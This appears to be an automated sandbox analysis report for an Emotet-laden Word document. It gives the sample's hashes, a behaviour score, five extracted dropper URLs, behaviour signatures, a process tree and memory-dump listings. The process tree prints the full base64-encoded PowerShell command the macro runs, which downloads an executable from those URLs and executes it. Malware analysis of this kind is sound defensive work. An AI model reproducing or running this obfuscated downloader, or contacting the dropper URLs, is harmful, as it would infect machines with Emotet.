Analysis

  • max time kernel
    149s
  • max time network
    43s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    13/08/2020, 17:50

General

  • Target
    emotet_e3_894dfe7d84439530c0f7bdca76e92f6d9ff10fe2121e0ff8decfea3153f5e91f_2020-08-13__174835._doc.doc
  • Size 230KB
  • Sample200813-ffezhvfr4n
  • SHA256 894dfe7d84439530c0f7bdca76e92f6d9ff10fe2121e0ff8decfea3153f5e91f
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://gregemmerth.com/stats/rBZp0wy31512967/

  • exe.dropper

    http://paralink.com.br/faatads/19zPjcmw7r318182393/

  • exe.dropper

    http://riandutra.com/img/yiZS/

  • exe.dropper

    https://mrveggy.com/erros/Busgh63a1960/

  • exe.dropper

    http://mycyberhealth.online/yyczief/wlW/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 23 IoCs
  • JavaScript code in executable 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 282 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_894dfe7d84439530c0f7bdca76e92f6d9ff10fe2121e0ff8decfea3153f5e91f_2020-08-13__174835._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:992
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABBAE4AVwBUAFMAZQB2AGoAPQAnAEsASgBCAFkATwBvAGoAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwB1AHIAaQB0AGAAeQBwAGAAUgBgAE8AdABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAWABTAEIATABYAGUAdwBjACAAPQAgACcAVwBtAHoAeQAnADsAJABQAFoASgBRAFMAawBmAHEAPQAnAEkARgBOAFQAVwB1AGgAdAAnADsAJABBAEwAWgBLAEgAbABvAGkAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABYAFMAQgBMAFgAZQB3AGMAKwAnAC4AZQB4AGUAJwA7ACQAUABYAE8ARQBaAHkAegBkAD0AJwBDAFAASQBKAEQAegBjAHkAJwA7ACQATwBKAEoASgBZAGEAaQBoAD0ALgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAEUAVAAuAHcAZQBiAEMAbABpAGUATgBUADsAJABLAEcASwBFAEgAagBvAGwAPQAnAGgAdAB0AHAAOgAvAC8AZwByAGUAZwBlAG0AbQBlAHIAdABoAC4AYwBvAG0ALwBzAHQAYQB0AHMALwByAEIAWgBwADAAdwB5ADMAMQA1ADEAMgA5ADYANwAvACoAaAB0AHQAcAA6AC8ALwBwAGEAcgBhAGwAaQBuAGsALgBjAG8AbQAuAGIAcgAvAGYAYQBhAHQAYQBkAHMALwAxADkAegBQAGoAYwBtAHcANwByADMAMQA4ADEAOAAyADMAOQAzAC8AKgBoAHQAdABwADoALwAvAHIAaQBhAG4AZAB1AHQAcgBhAC4AYwBvAG0ALwBpAG0AZwAvAHkAaQBaAFMALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHIAdgBlAGcAZwB5AC4AYwBvAG0ALwBlAHIAcgBvAHMALwBCAHUAcwBnAGgANgAzAGEAMQA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAYwB5AGIAZQByAGgAZQBhAGwAdABoAC4AbwBuAGwAaQBuAGUALwB5AHkAYwB6AGkAZQBmAC8AdwBsAFcALwAnAC4AIgBTAGAAUABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAQgBMAEsARQBoAGoAYQA9ACcASwBWAFIATwBBAGQAcwBrACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAE8ARwBGAEkAbAB1AGoAIABpAG4AIAAkAEsARwBLAEUASABqAG8AbAApAHsAdAByAHkAewAkAE8ASgBKAEoAWQBhAGkAaAAuACIAZABvAGAAVwBuAGAATABvAGEARABmAGkAYABMAGUAIgAoACQAUQBPAEcARgBJAGwAdQBqACwAIAAkAEEATABaAEsASABsAG8AaQApADsAJABLAEsAQQBMAFIAbwB4AGMAPQAnAFMAWQBDAE4AUgB5AHgAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEATABaAEsASABsAG8AaQApAC4AIgBMAEUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAzADMANAAxACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAKAAkAEEATABaAEsASABsAG8AaQApADsAJABFAFQASABWAFkAYwBvAGkAPQAnAE4ATwBGAFIAUwB5AHMAbgAnADsAYgByAGUAYQBrADsAJABZAEoAWABOAEIAZgBxAGMAPQAnAFgARQBUAFEAQwBsAGoAZwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABEAFAAQwBJAEQAZwBiAHAAPQAnAE0ARwBKAFAAWgBsAGEAegAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1780
    • C:\Users\Admin\AppData\Local\Temp\Wmzy.exe
      "C:\Users\Admin\AppData\Local\Temp\Wmzy.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1364
      • C:\Users\Admin\AppData\Local\Temp\.CR.15620\Avira.Spotlight.Bootstrapper.exe
        "C:\Users\Admin\AppData\Local\Temp\.CR.15620\Avira.Spotlight.Bootstrapper.exe" OriginalFileName=Wmzy.exe
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:584

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/584-27-0x0000000000580000-0x0000000000581000-memory.dmp

        memory/584-23-0x00000000000C0000-0x00000000000C1000-memory.dmp

        memory/584-35-0x0000000000840000-0x0000000000841000-memory.dmp

        memory/584-65-0x0000000004930000-0x0000000004931000-memory.dmp

        memory/584-60-0x0000000004410000-0x0000000004411000-memory.dmp

        memory/584-38-0x0000000001FD0000-0x0000000001FD1000-memory.dmp

        memory/584-56-0x0000000004880000-0x0000000004881000-memory.dmp

        memory/584-48-0x0000000004830000-0x0000000004831000-memory.dmp

        memory/584-41-0x0000000002030000-0x0000000002031000-memory.dmp

        memory/584-22-0x0000000073BF0000-0x00000000742DE000-memory.dmp

        memory/584-31-0x00000000005C0000-0x00000000005C1000-memory.dmp

        memory/584-45-0x0000000004320000-0x0000000004321000-memory.dmp

        memory/584-51-0x0000000004830000-0x0000000004831000-memory.dmp

        memory/992-2-0x0000000009630000-0x0000000009634000-memory.dmp

        memory/992-8-0x0000000007D30000-0x0000000007F30000-memory.dmp

        memory/992-7-0x000000000C700000-0x000000000C704000-memory.dmp

        memory/992-6-0x000000000B680000-0x000000000B684000-memory.dmp

        memory/992-16-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1780-9-0x000007FEEA840000-0x000007FEEB22C000-memory.dmp

        memory/1780-10-0x0000000002470000-0x0000000002471000-memory.dmp

        memory/1780-11-0x000000001AD50000-0x000000001AD51000-memory.dmp

        memory/1780-14-0x000000001B690000-0x000000001B691000-memory.dmp

        memory/1780-13-0x0000000002270000-0x0000000002271000-memory.dmp

        memory/1780-12-0x0000000002310000-0x0000000002311000-memory.dmp

        memory/1780-15-0x000000001B760000-0x000000001B761000-memory.dmp